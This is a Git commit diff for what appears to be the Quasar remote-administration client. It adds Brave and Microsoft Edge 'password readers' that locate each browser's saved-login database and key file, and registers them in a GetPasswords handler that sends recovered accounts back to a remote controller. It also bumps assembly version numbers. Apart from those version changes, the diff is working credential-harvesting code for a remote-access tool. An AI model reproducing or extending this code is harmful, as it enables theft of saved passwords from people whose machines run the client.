MS Edge & Brave Password Recovery

This commit is contained in:
Hristiyan Ivanov 2020-08-22 01:34:32 +03:00 committed by MaxXor
parent c4c40e6406
commit 52ff39d7f7
7 changed files with 70 additions and 8 deletions

View File

@ -32,9 +32,11 @@ private void Execute(ISender client, GetPasswords message)
var passReaders = new IAccountReader[]
{
new BravePassReader(),
new ChromePassReader(),
new OperaPassReader(),
new OperaGXPassReader(),
new EdgePassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),

View File

@ -30,5 +30,5 @@
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]

View File

@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class BravePassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Brave";
/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"BraveSoftware\\Brave-Browser\\User Data\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}

View File

@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class EdgePassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Microsoft Edge";
/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft\\Edge\\User Data\\Default\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft\\Edge\\User Data\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}

View File

@ -16,5 +16,5 @@
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]

View File

@ -33,5 +33,5 @@
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]

View File

@ -30,5 +30,5 @@
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]